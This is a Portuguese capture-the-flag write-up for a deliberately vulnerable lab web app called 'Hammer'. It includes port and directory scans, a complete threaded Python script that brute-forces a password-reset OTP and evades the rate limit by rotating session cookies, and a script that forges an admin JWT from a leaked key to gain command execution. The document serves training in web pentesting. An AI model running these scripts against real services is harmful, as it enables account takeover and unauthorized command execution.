Hammer
Introdução
Este CTF faz parte da trilha Web Application Pentesting. Nele, são praticados conceitos de gerenciamento de sessão, autenticação de dois fatores (2FA), força bruta, scripting e JSON Web Tokens (JWT).
Inicialmente, realizamos o reconhecimento da aplicação, suas portas e serviços. Em seguida, passamos para a enumeração da aplicação, analisando como ela se comporta no processo de recuperação de senha. Concluímos com a análise do JWT e a exposição de informações sensíveis.
O CTF se encontra neste link.
Reconhecimento
Executamos um SYN SCAN no alvo.
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 15:59 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.32s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open -p- 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:00 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.33s latency).
Not shown: 65471 closed tcp ports (reset), 62 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sV -p 22,1337 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:04 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.03 secondsHá um serviço web sendo executado na porta 1337.

Realizamos uma enumeração dos diretórios disponíveis.
Encontramos três diretórios: javascript, vendor e phpmyadmin.

Analisando os diretórios, descobrimos no diretório vendor uma biblioteca, que realiza o decode e encode do JSON Web Token (JWT) a biblioteca utilizada é:firebase versão 6.10.0.
Quando verificamos o código fonte, da página inicial, identificamos uma anotação do desenvolvedor.
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->Vamos realizar novamente uma enumeração em busca de diretórios, agora com a string hmr_ incluída.
┌──(root㉿estudos)-[/home/alex]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.19.190:1337/hmr_FUZZ -fs 276
No diretório hmr_imagestemos uma imagem, verificado os metadados, não identificamos nenhuma informação relevante.

Os diretórios hmr_csse hmr_js, temos apenas arquivos que realizam a manipulação das páginas HTML do site.
No diretório hmr_logs temos logs de tentativa de acesso.

Os diretórios informados no log foram verificados, não estão disponíveis para acesso até o momento.
Com o e-mail tester@hammer.thm tentamos recuperar a senha, é enviado um token de 4 dígitos.

Temos uma contagem regressiva de 180 segundos, para informar o código OTP. Além disso, existe um controle contra brute force, após algumas tentativas a aplicação nos bloqueia.

Se alterarmos o nosso cookie, podemos reiniciar o processo de recuperação de senha. Precisamos informar o e-mail novamente. Após informar o e-mail, podemos inserir o código OTP mais uma vez.
Exploração
Primeiro, vamos criar nossa wordlist com 4 dígitos, que inicia em 0000 até 9999.
Para essa tarefa utilizaremos o crunch.
┌──(root㉿estudos)-[/home/alex/Desktop]
└─# crunch 4 4 -o otp.txt -t %%%%
Crunch will now generate the following amount of data: 50000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000
crunch: 100% completed generating outputTemos 9999 números para serem testados, se cada número demorar 1 segundo para ser testado, ficaríamos mais de 2 horas realizando o ataque de brute force. Para diminuir esse tempo, vamos dividir por 10, nosso programa irá executar 10 processos em paralelo.
O fluxo do programa será da seguinte maneira:
Ler os códigos OTP:
- Abrir o arquivo com os códigos de recuperação e armazená-los em uma lista.
Dividir a lista de OTPs:
- Dividir a lista de OTPs em 10 partes, uma para cada thread.
Executar threads:
- Utilizar
ThreadPoolExecutorpara criar 10 threads.
- Utilizar
Enviar a requisição inicial:
- Cada thread gera um cookie aleatório e envia a requisição inicial com o e-mail.
Processar os códigos OTP:
- Cada thread processa sua parte da lista de OTPs, enviando requisições POST com o código de recuperação.
Verificar resposta da página:
- Para cada requisição:
- Se a resposta contiver “Invalid or expired recovery code!”, continuar com o próximo código da lista.
- Se a resposta contiver “Rate limit exceeded. Please try again later.”, gerar um novo cookie e tentar novamente.
- Se a resposta não contiver nenhuma dessas mensagens, considerar o código como válido.
- Para cada requisição:
Encerrar threads:
- Quando um código válido for encontrado, todas as threads são interrompidas.
- Exibir o código válido encontrado, o cabeçalho recebido e o cookie utilizado.
O código foi desenvolvido em python 3.
import random
import string
import time
import requests
from concurrent.futures import ThreadPoolExecutor
from threading import Event
# URL de recuperação de senha
url_reset_password = 'http://hammer.thm:1337/reset_password.php'
# Evento para sinalizar que o código correto foi encontrado
codigo_valido_encontrado = Event()
# Função para gerar um cookie aleatório
def gerar_cookie_aleatorio(tamanho=27):
caracteres = string.ascii_letters + string.digits
return ''.join(random.choice(caracteres) for _ in range(tamanho))
# Função para enviar a requisição inicial
def enviar_primeiro_cabecalho():
headers_primeiro = {
'Host': 'hammer.thm:1337',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '25',
'Origin': 'http://hammer.thm:1337',
'Connection': 'keep-alive',
'Referer': 'http://hammer.thm:1337/reset_password.php',
'Cookie': f'PHPSESSID={gerar_cookie_aleatorio()}',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
data_primeiro = {'email': 'tester@hammer.thm'}
response = requests.post(url_reset_password, headers=headers_primeiro, data=data_primeiro)
print(f'Primeiro cabeçalho enviado. Status: {response.status_code}')
return headers_primeiro['Cookie']
# Função para enviar a requisição com o código de recuperação
def enviar_segundo_cabecalho(cookie, recovery_code):
if codigo_valido_encontrado.is_set():
return
headers_segundo = {
'Host': 'hammer.thm:1337',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '24',
'Origin': 'http://hammer.thm:1337',
'Connection': 'keep-alive',
'Referer': 'http://hammer.thm:1337/reset_password.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
data_segundo = {'recovery_code': recovery_code, 's': '180'}
response = requests.post(url_reset_password, headers=headers_segundo, data=data_segundo)
# Verifica a resposta da página
if "Invalid or expired recovery code!" in response.text:
print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Inválido')
elif "Rate limit exceeded. Please try again later." in response.text:
print(f'Rate limit exceeded com código: {recovery_code} - Status: {response.status_code}')
return 'rate_limit'
else:
print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Válido')
print(f'Cabeçalho recebido: {response.headers}')
print(f'Cookie: {cookie}')
codigo_valido_encontrado.set()
return True
return False
# Função principal
def main():
# Arquivo com os códigos de recuperação
arquivo_codigos = 'otp.txt'
# Lê os códigos do arquivo
with open(arquivo_codigos, 'r') as file:
codigos = [linha.strip() for linha in file.readlines()]
# Divide a lista de OTPs em 10 partes
num_threads = 10
chunk_size = len(codigos) // num_threads
chunks = [codigos[i:i + chunk_size] for i in range(0, len(codigos), chunk_size)]
def processar_codigo(chunk):
cookie = enviar_primeiro_cabecalho()
for codigo in chunk:
if codigo_valido_encontrado.is_set():
break
resultado = enviar_segundo_cabecalho(cookie, codigo)
if resultado == 'rate_limit':
cookie = enviar_primeiro_cabecalho()
resultado = enviar_segundo_cabecalho(cookie, codigo)
if resultado is True:
break
with ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = [executor.submit(processar_codigo, chunk) for chunk in chunks]
for future in futures:
future.result()
if codigo_valido_encontrado.is_set():
break
if __name__ == '__main__':
main()Brute Force - 2FA
Executando nosso script encontramos um código OTP válido.

Com um código válido conseguimos trocar a senha do usuário.

Conseguimos acessar a dashboard e obter nossa primeira flag!

JWT
Depois de alguns segundos é feito o logout automático da dashboard, é necessário inserir novamente as credenciais para acessa-lá.
Vamos encaminhar para Burp Suite a solicitação, para entender melhor o que está ocorrendo.
Primeiro é feito uma requisição POST.

Depois realizamos um GETem /dasboard.php.

O cookie recebido possui um JWT.
O JWT possui um tempo de duração de 1 hora, após isso, ele é expirado e é necessário solicitar um novo token.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.yJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzM5MzgzNDI0LCJleHAiOjE3MzkzODcwMjQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.DloVp56EIpRxUunIspBJ9BGQvwuW40vog0L_qso0fiYConteúdo do JWT, verificamos pelo https://jwt.io/.

Quando executamos um comando em “Enter command” a página solicitada é execute_command.php.
Vamos envia-la para o Burp Suite.

Mesmo após o logout automático, ainda conseguimos enviar os comandos, o JWT que temos nos campos Authorizatione Cookie permite que nossa solicitação seja processada com sucesso e o token ainda não está com o tempo expirado.
Verificamos o comportamento da aplicação, com o comando que enviamos, com o comando lsconseguimos listar os arquivos no diretório atual, além dos arquivos e diretórios que já sabíamos, também identificamos outro arquivo 188ade1.key.

Baixamos o arquivo descoberto para a nossa máquina local.
Analisando o arquivo percebemos que pode se tratar de uma chave, para gerar JWT válido na aplicação.
┌──(alex㉿estudos)-[~/Downloads]
└─$ file 188ade1.key
188ade1.key: ASCII text, with no line terminators
┌──(alex㉿estudos)-[~/Downloads]
└─$ cat 188ade1.key
[REDACTED]Apenas o comando lssem nenhuma opção, está sendo permitido executar.
Tentamos executar outros comandos do Linux porém recebemos a mensagem Command not allowed.
Nosso usuário possui no JWT role:user, aparentemente, por esse motivo não conseguimos executar outros comandos, não temos a permissão necessária.
Criando nosso JWT
Como vimos no decode do JWT temos o campo role, podemos utiliza-lo, alterando para admin, utilizando a chave que encontramos em /var/www/html/.Para isso precisamos criar nosso JWT, vamos utilizar o python para essa tarefa.
Programa desenvolvido para criar nosso token.
import jwt
import datetime
# Definindo o header
header = {
"typ": "JWT",
"alg": "HS256",
"kid": "/var/www/html/188ade1.key"
}
# Definindo o payload
payload = {
"iss": "http://hammer.thm",
"aud": "http://hammer.thm",
"iat": 1739395993,
"exp": 4070726400,
"data": {
"user_id": 1,
"email": "tester@hammer.thm",
"role": "admin"
}
}
# Chave secreta
secret_key = 'key-256-bit-secret'
# Gerando o token JWT
token = jwt.encode(payload, secret_key, algorithm='HS256', headers=header)
# Exibindo o token
print(token)Criando nosso JWT com role:admin.

Validamos nosso JWT no site https://jwt.io/.
Observação, podemos gerar nosso JWT pelo site também.

Agora no Burp realizamos uma nova requisição com o nosso novo JWT.

Temos permissão para executar outros comandos, o CTF já informa o caminho da última flag, vamos tentar ler o arquivo, antes de realizar uma shell reversa.

Resumo
Enumeramos as portas, e identificamos as portas 22 e 1337, com a porta 1337 rodando um serviço web. Nesse servidor web, descobrimos diretórios e arquivos importantes, encontrando um e-mail válido (tester@hammer.thm). A partir desse e-mail, iniciamos a análise do comportamento de recuperação de senha. Entendido o comportamento de recuperação de senha e o 2FA, desenvolvemos um script de brute force, conseguindo assim o código OTP válido. Após a alteração de senha e autenticados na dashboard da aplicação, realizamos uma nova enumeração e identificamos que a aplicação gerava um JWT, utilizado para validar quais comandos o usuário poderia executar (role). Com a descoberta da chave no diretório (/var/www/html/), geramos um novo JWT com o campo role alterado, obtendo assim um RCE e concluindo o CTF com a descoberta da última flag.
Complemento
Nessa seção, foram colocadas algumas informações que julguei necessárias e importantes, após concluir o CTF, para complementar esse Write-Up. As informações descobertas foram feitas em outras análises minhas, e com ajuda de outros Write-Ups disponíveis na internet.
Função para realizar o logout automaticamente
É realizado o logout automaticamente da dashboard após alguns segundos, a função que realiza esse logout se encontra no código fonte da página.
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
function checkTrailUserCookie() {
const trailUser = getCookie('persistentSession');
if (!trailUser) {
window.location.href = 'logout.php';
}
}Função checkTrailUserCookie():
- Essa função chama a função
getCookie('persistentSession')para verificar se o cookiepersistentSessionestá presente. - Se o cookie
persistentSessionnão estiver presente (ou seja,trailUserénullouundefined), a função redireciona o usuário para a páginalogout.php.
No nosso caso está como no, se for definida como truemantemos nossa sessão aberta sem logout automáticos
Controle contra Brute Force
Quando iniciamos o processo de recuperação de senha é solicitado nosso cótido OTP, iniciamos com 8 tentativas, até sermos bloqueado pela aplicação.
O campo que controla a quantidade é Rate-Limit-Pending.

OTP gerado
Em alguns momentos, ao executar o script, foi descoberto mais de um código OTP válido. Após realizar outra análise do comportamento da aplicação e ler alguns write-ups a respeito, ficou mais claro que o código OTP gerado não é válido somente na sessão em que foi solicitado, mas sim para o e-mail que está solicitando (tester@hammer.thm).
Portanto, quando realizávamos uma nova requisição de recuperação de senha com um novo cookie, o código OTP gerado nos outros processos em paralelo não era descartado, podendo assim ser válido para recuperação de senha.
O código só se tornaria inválido após o tempo de expiração ser excedido, que é de 1 hora.
